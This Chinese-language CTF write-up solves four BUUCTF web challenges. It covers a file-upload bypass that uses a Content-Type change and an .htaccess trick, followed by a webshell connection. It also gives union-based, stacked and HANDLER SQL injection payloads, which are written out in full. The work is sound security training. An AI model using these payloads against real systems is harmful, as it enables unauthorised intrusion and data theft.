Buuctf Web(29-32)
29、BabyUpload
上传木马文件
抓包,把Content-Type改成image/jpeg,send,上传成功
文件解析漏洞(.htaccess)
再上传一个文件.htaccess,用于把我们改成上传的1.png转换成php执行的文件
1 | .htaccess是什么 |
剑蚁连接
url:http://954cf8be-bbf5-4eae-b98c-8ec3134ab480.node4.buuoj.cn:81/upload/eb1fdce4f69ef7dbee3449f34d370e48/1.png
密码:zyh
测试连接,连接成功,添加
右键单击,文件管理,可以看见刚刚上传的两个文件
到根目录可以看到flag
双击得到flag
1 | flag{311e55a5-2d17-4918-bc47-3bd56396cb65} |
30、BabySQli
随便输入,然后登录
跳转到了search.php
查看源代码
第一行有一串加密的字符,base32+base64解密
得到:select * from user where username = ‘$name’
存在一个admin用户,当name=admin时回显不是user error而是pass error
这里的验证方式是将name带入查询再将查询后的密码与输入进行比对。经过常规注入手段我们发现这里有三个字段
爆字段数:name=admin' Order by 3 #&pw=1
——注意:这里的or被过滤,使用大小写绕过
经测试admin在第二字段
union联合查询在查询不存在的数据时,会创建一个临时数据,然后返回这个临时数据union select 1,2,3,返回数据就为column1:1,column2:2,column3:3。我们可以根据这个特性来猜测user字段的位置。经过猜测我们发现admin在2的位置。
猜测3的位置应该就是pass字段并且这里pass应该存储的是MD5值,将123进行MD5加密放到3的位置,这时union select, 1,admin,‘md5(123)’,的返回数据为column1:1,column2:admin,column3:md5(123),并且将返回的md5(123),与我们输入的pass的md5值进行比对如果一样则会登陆成功。
payload:name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70' #&pw=123
得到flag
1 | flag{ee2e0a88-2e24-42a8-aca4-82df10b46a95} |
31、Blacklist
堆叠注入+HANDLER
1';show databases;#
1';show tables;#
看到了FlagHere
1'; show columns from FlagHere;#
看到了flag字段
大佬的方法
HANDLER OPEN语句打开一个表,使其可以使用后续HANDLER READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER CLOSE或会话终止之前不会关闭
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
1 | flag{a23e0fdb-6350-412e-9f51-b021e9d5956e} |
32、Hack World
显示了一些常见的SQL字符,很多都被过滤了
但还有()
字符没被过滤,我们使用()
代替空格,而且题目提示flag在flag表的flag字段中
使用脚本爆破
1 | # -*- coding:utf-8 -*- |
运行得到flag
1 | flag{fbc1a128-737d-4d89-9b9d-fad374bbef13} |